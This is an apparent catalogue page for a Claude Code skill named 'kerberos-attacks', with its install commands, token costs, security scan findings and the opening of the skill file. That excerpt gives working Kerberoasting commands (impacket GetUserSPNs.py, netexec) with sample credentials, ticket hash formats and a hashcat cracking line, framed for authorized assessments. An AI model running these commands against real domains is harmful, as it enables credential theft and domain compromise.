kerberos-attacks

kerberos-attacks is a skill for Claude Code from ADScanPro/Claude-AD. It costs 105 tokens per session (3,061 once invoked), scanned B, original, MIT.

A hands-on guide to testing Kerberos weaknesses in Active Directory, including service-account ticket cracking, accounts without pre-authentication, and delegation abuse. Kerberos is the ticket-based login system commonly used by Windows domains.

In plain words
What is it for?
Use it during authorized internal security assessments to check service accounts, pre-authentication settings, and delegation configurations, then document the findings.
Why use it?
It brings the prerequisites, evidence, logging, and remediation guidance for these related tests into one place.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Part of the Claude-AD plugin — 8 skills, 3 commands, 3 agents shipped together

Good fit Use it during authorized internal security assessments to check service accounts, pre-authentication settings, and delegation configurations, then document the findings.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/adscanpro/claude-ad/kerberos-attacks
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add ADScanPro/Claude-AD --skill kerberos-attacks
Clone the repo
git clone --depth 1 https://github.com/ADScanPro/Claude-AD

Made for: Claude Code.

Or install Claude-AD, the plugin that ships this one along with the rest of its 8 skills, 3 commands, 3 agents.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for kerberos-attacks

README.md
[![agentmods](https://agentmods.dev/badge/skills/adscanpro/claude-ad/kerberos-attacks/github.svg)](https://agentmods.dev/skills/adscanpro/claude-ad/kerberos-attacks)
Your own site
<a href="https://agentmods.dev/skills/adscanpro/claude-ad/kerberos-attacks"><img src="https://agentmods.dev/badge/skills/adscanpro/claude-ad/kerberos-attacks/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for kerberos-attacks

Your own site · 80×15
<a href="https://agentmods.dev/skills/adscanpro/claude-ad/kerberos-attacks"><img src="https://agentmods.dev/badge/skills/adscanpro/claude-ad/kerberos-attacks.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 105 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 3,061 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 1 finding. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 2 findings, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high YARA Match · line 48
    YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).
    Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
  • medium Privilege Escalation · line 10
    Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.
    Fix: Avoid sudo/root unless strictly required. Prefer least-privilege patterns. If elevation is needed, document the justification and scope.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00105 $0.03061
Opus 5.5 $0.00042 $0.01224
Sonnet 5.5 $0.00021 $0.00612
Haiku 4.5 $0.00011 $0.00306

Measured 3mo ago against content hash 141b89f3a0fb, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade B, and why

kerberos-attacks scanned grade B with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 3mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Asks for rootmediumPrivilege escalation

A mod that escalates privileges can change anything on the machine, not only the project.

Requirements before you touch these: valid domain credentials (any user is enough for Kerberoasting and delegation reads; AS-REP roasting needs only a username list), correct DNS pointing at the DC, and clock skew under
skills/kerberos-attacks/SKILL.md · 219 lines

How it starts

The opening of the file, as written. The whole thing — 219 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Kerberos Attacks

Standard-tooling playbook for the four Kerberos abuse families you meet on almost every internal AD engagement. You drive every tool yourself. This skill tells you what each attack is, the exact command, how the loot looks and how to crack it, what the DC logs, and what the remediation write-up should say.

Requirements before you touch these: valid domain credentials (any user is enough for Kerberoasting and delegation reads; AS-REP roasting needs only a username list), correct DNS pointing at the DC, and clock skew under 5 minutes or Kerberos rejects your tickets (KRB_AP_ERR_SKEW). Sync with sudo ntpdate <dc-ip> or faketime.


1. Kerberoasting

MITRE ATT&CK: T1558.003 (Steal or Forge Kerberos Tickets: Kerberoasting)

What it is. Any authenticated user can request a service ticket (TGS) for any account that has a Service Principal Name (SPN) set. The TGS is encrypted with the service account's password-derived key. If the DC hands you an RC4 (etype 23) ticket, you crack it offline to recover the account's cleartext password. Service accounts are the target because they often have weak, non-expiring, human-set passwords and elevated rights.

Standard commands.

Request tickets for every kerberoastable account (impacket):

GetUserSPNs.py -request -dc-ip 10.0.0.10 CORP.LOCAL/svc_user:'Password123' -outputfile kerb_hashes.txt

Enumerate first without requesting (see who is roastable before making noise):

GetUserSPNs.py -dc-ip 10.0.0.10 CORP.LOCAL/svc_user:'Password123'

netexec equivalent (also does it in one line):

nxc ldap 10.0.0.10 -u svc_user -p 'Password123' --kerberoasting kerb_hashes.txt

Targeted roast of a single account (quieter, one 4769 instead of dozens):

GetUserSPNs.py -request-user sqlsvc -dc-ip 10.0.0.10 CORP.LOCAL/svc_user:'Password123'

Hash format + cracking. The loot is a $krb5tgs$ hash. RC4 tickets are hashcat mode 13100; AES256 tickets (etype 18) are mode 19700 and are far slower.

$krb5tgs$23$*sqlsvc$CORP.LOCAL$MSSQLSvc/db01.corp.local*$a1b2...  # RC4, -m 13100
$krb5tgs$18$sqlsvc$CORP.LOCAL$...                                  # AES256, -m 19700
hashcat -m 13100 -a 0 kerb_hashes.txt rockyou.txt --force

Read the full file on GitHub · 219 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 3mo ago First seen · 219 lines · 0 tokens per session scan B 141b89f3a0fb

Subscribe to this mod's changes

kerberos-attacks is a skill published in the GitHub repository ADScanPro/Claude-AD (227 stars, last pushed 3mo ago), licensed MIT. It adds 105 tokens to every session and 3,061 once invoked, about $0.0004 per session on Opus 5.5. A static security scan graded it B with 1 finding (asks for root). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Related

kerberos-attacks compared with skills from other repositories

kerberos-attacks next to 6 skills from other repositories
ModTypeStarsLast pushLicenceScanTokensWorks with
kerberos-attacksADScanPro/Claude-ADSkill2273mo agoMITB105Claude Code
performing-active-directory-penetration-testxalgorix/xalgorixSkill1.6kyesterdayApache-2.0A48Claude Code, Codex
deploying-active-directory-honeytokensxalgorix/xalgorixSkill1.6kyesterdayApache-2.0A101Claude Code, Codex
pentesting-ldapxalgorix/xalgorixSkill1.6kyesterdayApache-2.0A99Claude Code, Codex
deploying-active-directory-honeytokens26zl/cybersec-toolkitSkill116yesterdayMITA101Claude Code
conducting-internal-reconnaissance-with-bloodhound-ce26zl/cybersec-toolkitSkill116yesterdayMITA96Claude Code
executing-active-directory-attack-simulationxalgorix/xalgorixSkill1.6kyesterdayApache-2.0C107Claude Code, Codex